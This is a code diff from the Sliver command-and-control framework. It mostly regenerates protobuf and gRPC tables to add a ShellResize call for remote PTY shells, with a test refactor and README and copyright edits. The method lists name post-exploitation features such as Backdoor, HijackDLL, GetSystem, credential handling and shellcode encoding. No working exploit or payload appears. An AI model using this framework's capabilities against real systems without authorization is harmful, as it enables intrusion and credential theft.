-	209, // 328: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
-	210, // 329: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
-	211, // 330: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
-	212, // 331: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
-	213, // 332: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
-	214, // 333: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
-	215, // 334: rpcpb.SliverRPC.RegistryReadHive:output_type -> sliverpb.RegistryReadHive
-	216, // 335: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
-	217, // 336: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
-	218, // 337: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
-	219, // 338: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
-	220, // 339: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
-	219, // 340: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
-	111, // 341: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
-	0,   // 342: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
-	221, // 343: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
-	222, // 344: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
-	223, // 345: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
-	224, // 346: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension
-	225, // 347: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions
-	226, // 348: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension
-	227, // 349: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
-	227, // 350: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
-	228, // 351: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
-	228, // 352: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
-	229, // 353: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
-	230, // 354: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
-	231, // 355: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
-	232, // 356: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
-	127, // 357: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
-	0,   // 358: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
-	128, // 359: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
-	129, // 360: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
-	0,   // 361: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
-	130, // 362: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
-	30,  // 363: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
-	182, // [182:364] is the sub-list for method output_type
-	0,   // [0:182] is the sub-list for method input_type
+	126, // 174: rpcpb.SliverRPC.ShellResize:input_type -> sliverpb.ShellResizeReq
+	127, // 175: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
+	128, // 176: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
+	128, // 177: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
+	129, // 178: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
+	130, // 179: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
+	130, // 180: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
+	131, // 181: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
+	0,   // 182: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
+	132, // 183: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
+	0,   // 184: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty
+	133, // 185: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
+	0,   // 186: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
+	134, // 187: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
+	0,   // 188: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
+	135, // 189: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
+	136, // 190: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
+	0,   // 191: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
+	137, // 192: rpcpb.SliverRPC.MonitorListConfig:output_type -> clientpb.MonitoringProviders
+	136, // 193: rpcpb.SliverRPC.MonitorAddConfig:output_type -> commonpb.Response
+	136, // 194: rpcpb.SliverRPC.MonitorDelConfig:output_type -> commonpb.Response
+	138, // 195: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.ListenerJob
+	138, // 196: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.ListenerJob
+	138, // 197: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.ListenerJob
+	138, // 198: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.ListenerJob
+	138, // 199: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.ListenerJob
+	139, // 200: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
+	10,  // 201: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
+	0,   // 202: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
+	140, // 203: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
+	11,  // 204: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
+	11,  // 205: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
+	0,   // 206: rpcpb.SliverRPC.UpdateBeaconIntegrityInformation:output_type -> commonpb.Empty
+	141, // 207: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
+	142, // 208: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
+	0,   // 209: rpcpb.SliverRPC.RestartJobs:output_type -> commonpb.Empty
+	143, // 210: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
+	16,  // 211: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
+	0,   // 212: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
+	16,  // 213: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
+	16,  // 214: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
+	144, // 215: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
+	17,  // 216: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials
+	0,   // 217: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty
+	0,   // 218: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty
+	0,   // 219: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty
+	18,  // 220: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential
+	17,  // 221: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials
+	17,  // 222: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials
+	18,  // 223: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential
+	145, // 224: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
+	19,  // 225: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
+	0,   // 226: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
+	0,   // 227: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
+	146, // 228: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
+	147, // 229: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
+	0,   // 230: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
+	147, // 231: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:output_type -> clientpb.ExternalImplantConfig
+	146, // 232: rpcpb.SliverRPC.GenerateStage:output_type -> clientpb.Generate
+	0,   // 233: rpcpb.SliverRPC.StageImplantBuild:output_type -> commonpb.Empty
+	148, // 234: rpcpb.SliverRPC.GetHTTPC2Profiles:output_type -> clientpb.HTTPC2Configs
+	149, // 235: rpcpb.SliverRPC.GetHTTPC2ProfileByName:output_type -> clientpb.HTTPC2Config
+	0,   // 236: rpcpb.SliverRPC.SaveHTTPC2Profile:output_type -> commonpb.Empty
+	30,  // 237: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
+	0,   // 238: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
+	150, // 239: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
+	151, // 240: rpcpb.SliverRPC.GetCertificateInfo:output_type -> clientpb.CertificateInfo
+	152, // 241: rpcpb.SliverRPC.GetCertificateAuthorityInfo:output_type -> clientpb.CertificateAuthorityInfo
+	30,  // 242: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event
+	0,   // 243: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty
+	0,   // 244: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty
+	153, // 245: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations
+	34,  // 246: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask
+	0,   // 247: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty
+	154, // 248: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles
+	35,  // 249: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile
+	0,   // 250: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty
+	36,  // 251: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk
+	0,   // 252: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty
+	0,   // 253: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty
+	146, // 254: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
+	155, // 255: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
+	0,   // 256: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
+	156, // 257: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
+	157, // 258: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
+	158, // 259: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
+	159, // 260: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
+	0,   // 261: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
+	39,  // 262: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
+	160, // 263: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
+	161, // 264: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
+	162, // 265: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
+	163, // 266: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
+	164, // 267: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap
+	165, // 268: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests
+	0,   // 269: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty
+	166, // 270: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
+	43,  // 271: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
+	0,   // 272: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
+	43,  // 273: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
+	43,  // 274: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
+	43,  // 275: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
+	46,  // 276: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
+	167, // 277: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
+	168, // 278: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
+	169, // 279: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
+	170, // 280: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
+	171, // 281: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
+	172, // 282: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
+	172, // 283: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
+	173, // 284: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
+	174, // 285: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp
+	175, // 286: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
+	176, // 287: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
+	177, // 288: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
+	178, // 289: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
+	179, // 290: rpcpb.SliverRPC.Grep:output_type -> sliverpb.Grep
+	180, // 291: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod
+	181, // 292: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown
+	182, // 293: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes
+	171, // 294: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls
+	183, // 295: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd
+	184, // 296: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm
+	185, // 297: rpcpb.SliverRPC.Mount:output_type -> sliverpb.Mount
+	186, // 298: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
+	187, // 299: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
+	188, // 300: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
+	189, // 301: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
+	190, // 302: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
+	191, // 303: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
+	191, // 304: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
+	191, // 305: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
+	192, // 306: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
+	193, // 307: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
+	194, // 308: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
+	194, // 309: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
+	195, // 310: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
+	196, // 311: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
+	197, // 312: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
+	198, // 313: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
+	199, // 314: rpcpb.SliverRPC.Services:output_type -> sliverpb.Services
+	200, // 315: rpcpb.SliverRPC.ServiceDetail:output_type -> sliverpb.ServiceDetail
+	201, // 316: rpcpb.SliverRPC.StartServiceByName:output_type -> sliverpb.ServiceInfo
+	202, // 317: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
+	0,   // 318: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
+	203, // 319: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
+	204, // 320: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
+	201, // 321: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
+	201, // 322: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
+	201, // 323: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
+	205, // 324: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
+	206, // 325: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
+	207, // 326: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
+	208, // 327: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
+	209, // 328: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor
+	210, // 329: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
+	211, // 330: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
+	212, // 331: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
+	213, // 332: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
+	214, // 333: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
+	215, // 334: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
+	216, // 335: rpcpb.SliverRPC.RegistryReadHive:output_type -> sliverpb.RegistryReadHive
+	217, // 336: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
+	218, // 337: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
+	219, // 338: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
+	220, // 339: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
+	221, // 340: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
+	220, // 341: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
+	111, // 342: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
+	0,   // 343: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
+	222, // 344: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
+	223, // 345: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
+	224, // 346: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
+	225, // 347: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension
+	226, // 348: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions
+	227, // 349: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension
+	228, // 350: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
+	228, // 351: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
+	229, // 352: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
+	229, // 353: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
+	230, // 354: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
+	231, // 355: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
+	232, // 356: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
+	0,   // 357: rpcpb.SliverRPC.ShellResize:output_type -> commonpb.Empty
+	233, // 358: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
+	128, // 359: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
+	0,   // 360: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
+	129, // 361: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
+	130, // 362: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
+	0,   // 363: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
+	131, // 364: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
+	30,  // 365: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
+	183, // [183:366] is the sub-list for method output_type
+	0,   // [0:183] is the sub-list for method input_type
 	0,   // [0:0] is the sub-list for extension type_name
 	0,   // [0:0] is the sub-list for extension extendee
 	0,   // [0:0] is the sub-list for field type_name

protobuf/rpcpb/services.proto

@@ -275,6 +275,7 @@ service SliverRPC {
 
   // *** Realtime Commands ***
   rpc Shell(sliverpb.ShellReq) returns (sliverpb.Shell);
+  rpc ShellResize(sliverpb.ShellResizeReq) returns (commonpb.Empty);
   rpc Portfwd(sliverpb.PortfwdReq) returns (sliverpb.Portfwd);
 
   // *** Socks5 ***

protobuf/rpcpb/services_grpc.pb.go

@@ -222,6 +222,7 @@ type SliverRPCClient interface {
 	WGListSocksServers(ctx context.Context, in *sliverpb.WGSocksServersReq, opts ...grpc.CallOption) (*sliverpb.WGSocksServers, error)
 	// *** Realtime Commands ***
 	Shell(ctx context.Context, in *sliverpb.ShellReq, opts ...grpc.CallOption) (*sliverpb.Shell, error)
+	ShellResize(ctx context.Context, in *sliverpb.ShellResizeReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
 	Portfwd(ctx context.Context, in *sliverpb.PortfwdReq, opts ...grpc.CallOption) (*sliverpb.Portfwd, error)
 	// *** Socks5 ***
 	CreateSocks(ctx context.Context, in *sliverpb.Socks, opts ...grpc.CallOption) (*sliverpb.Socks, error)
@@ -1880,6 +1881,15 @@ func (c *sliverRPCClient) Shell(ctx context.Context, in *sliverpb.ShellReq, opts
 	return out, nil
 }
 
+func (c *sliverRPCClient) ShellResize(ctx context.Context, in *sliverpb.ShellResizeReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
+	out := new(commonpb.Empty)
+	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ShellResize", in, out, opts...)
+	if err != nil {
+		return nil, err
+	}
+	return out, nil
+}
+
 func (c *sliverRPCClient) Portfwd(ctx context.Context, in *sliverpb.PortfwdReq, opts ...grpc.CallOption) (*sliverpb.Portfwd, error) {
 	out := new(sliverpb.Portfwd)
 	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Portfwd", in, out, opts...)
@@ -2224,6 +2234,7 @@ type SliverRPCServer interface {
 	WGListSocksServers(context.Context, *sliverpb.WGSocksServersReq) (*sliverpb.WGSocksServers, error)
 	// *** Realtime Commands ***
 	Shell(context.Context, *sliverpb.ShellReq) (*sliverpb.Shell, error)
+	ShellResize(context.Context, *sliverpb.ShellResizeReq) (*commonpb.Empty, error)
 	Portfwd(context.Context, *sliverpb.PortfwdReq) (*sliverpb.Portfwd, error)
 	// *** Socks5 ***
 	CreateSocks(context.Context, *sliverpb.Socks) (*sliverpb.Socks, error)
@@ -2764,6 +2775,9 @@ func (UnimplementedSliverRPCServer) WGListSocksServers(context.Context, *sliverp
 func (UnimplementedSliverRPCServer) Shell(context.Context, *sliverpb.ShellReq) (*sliverpb.Shell, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method Shell not implemented")
 }
+func (UnimplementedSliverRPCServer) ShellResize(context.Context, *sliverpb.ShellResizeReq) (*commonpb.Empty, error) {
+	return nil, status.Errorf(codes.Unimplemented, "method ShellResize not implemented")
+}
 func (UnimplementedSliverRPCServer) Portfwd(context.Context, *sliverpb.PortfwdReq) (*sliverpb.Portfwd, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method Portfwd not implemented")
 }
@@ -5947,6 +5961,24 @@ func _SliverRPC_Shell_Handler(srv interface{}, ctx context.Context, dec func(int
 	return interceptor(ctx, in, info, handler)
 }
 
+func _SliverRPC_ShellResize_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
+	in := new(sliverpb.ShellResizeReq)
+	if err := dec(in); err != nil {
+		return nil, err
+	}
+	if interceptor == nil {
+		return srv.(SliverRPCServer).ShellResize(ctx, in)
+	}
+	info := &grpc.UnaryServerInfo{
+		Server:     srv,
+		FullMethod: "/rpcpb.SliverRPC/ShellResize",
+	}
+	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
+		return srv.(SliverRPCServer).ShellResize(ctx, req.(*sliverpb.ShellResizeReq))
+	}
+	return interceptor(ctx, in, info, handler)
+}
+
 func _SliverRPC_Portfwd_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
 	in := new(sliverpb.PortfwdReq)
 	if err := dec(in); err != nil {
@@ -6801,6 +6833,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
 			MethodName: "Shell",
 			Handler:    _SliverRPC_Shell_Handler,
 		},
+		{
+			MethodName: "ShellResize",
+			Handler:    _SliverRPC_ShellResize_Handler,
+		},
 		{
 			MethodName: "Portfwd",
 			Handler:    _SliverRPC_Portfwd_Handler,

protobuf/sliverpb/constants.go

@@ -352,6 +352,9 @@ const (
 
 	// MsgMountReq - Request filesystem mounts
 	MsgMountReq
+
+	// MsgShellResizeReq - Resize a shell PTY
+	MsgShellResizeReq
 )
 
 // Constants to replace enums
@@ -413,6 +416,8 @@ func MsgNumber(request proto.Message) uint32 {
 		return MsgShellReq
 	case *Shell:
 		return MsgShell
+	case *ShellResizeReq:
+		return MsgShellResizeReq
 	case *ProcessDumpReq:
 		return MsgProcessDumpReq
 	case *ProcessDump:

protobuf/sliverpb/sliver.proto

@@ -825,6 +825,8 @@ message ShellReq {
   string Path = 1;
   bool EnablePTY = 2;
   uint32 Pid = 3;
+  uint32 Rows = 4;
+  uint32 Cols = 5;
 
   uint64 TunnelID = 8 [jstype = JS_STRING]; // Bind to this tunnel
   commonpb.Request Request = 9;
@@ -840,6 +842,14 @@ message Shell {
   commonpb.Response Response = 9;
 }
 
+message ShellResizeReq {
+  uint32 Rows = 1;
+  uint32 Cols = 2;
+
+  uint64 TunnelID = 8 [jstype = JS_STRING];
+  commonpb.Request Request = 9;
+}
+
 
 message PortfwdReq {
   uint32 Port = 1;
@@ -1356,4 +1366,4 @@ message StartServiceByNameReq {
   ServiceInfoReq ServiceInfo = 1;
 
   commonpb.Request Request = 9;
-}
+}

server/README.md

@@ -31,7 +31,7 @@ Server daemon responsible for managing operators, implants, and infrastructure.
 - `msf/` – Metasploit integration utilities. Implements payload translation and RPC bridging with Metasploit.
 - `netstack/` – gVisor-based userland network stack for server transports. Provides packet buffers, endpoint management, and adapters.
 - `rpc/` – RPC server implementations and wiring. Boots gRPC servers, registers services, and manages middleware.
-- `sgn/` – SGN (Sliver Guard Node) coordination and helpers. Implements SGN enrollment, messaging, and policy logic.
+- `encoders/shellcode/sgn/` – SGN (Shikata Ga Nai) shellcode encoder helpers and configuration wiring.
 - `transport/` – Server-side transports and listener orchestration. Coordinates C2 listener lifecycles and connection routing.
 - `watchtower/` – Watchtower monitoring and background jobs. Runs scheduled tasks, telemetry collection, and alerting hooks.
 - `website/` – Static website assets and server-side handling. Serves operator web artifacts and supporting handlers.

server/assets/assets.go

@@ -120,7 +120,7 @@ func Setup(force bool, echo bool) {
 		setupLog.Infof("Version mismatch %v != %v", localVer, ver.GitCommit)
 		if echo {
 			fmt.Printf(`
-Sliver  Copyright (C) 2025  Bishop Fox
+Sliver  Copyright (C) 2026  Bishop Fox
 This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
 This is free software, and you are welcome to redistribute it
 under certain conditions; type 'licenses' for details.`)

server/c2/c2_test.go

@@ -36,13 +36,13 @@ var (
 )
 
 func TestMain(m *testing.M) {
-	implantConfig := setup()
+	implantBuild := setup()
 	code1 := m.Run()
-	cleanup(implantConfig)
+	cleanup(implantBuild)
 	os.Exit(code1)
 }
 
-func setup() *models.ImplantConfig {
+func setup() *models.ImplantBuild {
 	var err error
 	certs.SetupCAs()
 	serverAgeKeyPair = cryptography.AgeServerKeyPair()
@@ -60,6 +60,7 @@ func setup() *models.ImplantConfig {
 	publicKeyDigest := hex.EncodeToString(digest.Sum(nil))
 
 	implantBuild := &models.ImplantBuild{
+		Name:                "test-" + publicKeyDigest,
 		PeerPublicKey:       peerAgeKeyPair.Public,
 		PeerPublicKeyDigest: publicKeyDigest,
 		PeerPrivateKey:      peerAgeKeyPair.Private,
@@ -70,13 +71,11 @@ func setup() *models.ImplantConfig {
 	if err != nil {
 		panic(err)
 	}
+	return implantBuild
+}
 
-	implantConfig := &models.ImplantConfig{
-		ImplantBuilds: []models.ImplantBuild{*implantBuild},
+func cleanup(implantBuild *models.ImplantBuild) {
+	if implantBuild != nil {
+		db.Session().Delete(implantBuild)
 	}
-	return implantConfig
-}
-
-func cleanup(implantConfig *models.ImplantConfig) {
-	db.Session().Delete(implantConfig)
 }

server/c2/mtls.go

@@ -19,7 +19,10 @@ package c2
 */
 
 import (
+	"bufio"
 	"bytes"
+	"crypto/ed25519"
+	"crypto/sha256"
 	"crypto/tls"
 	"crypto/x509"
 	"encoding/binary"
@@ -27,13 +30,20 @@ import (
 	"fmt"
 	"io"
 	"net"
+	"sync"
 
 	consts "github.com/bishopfox/sliver/client/constants"
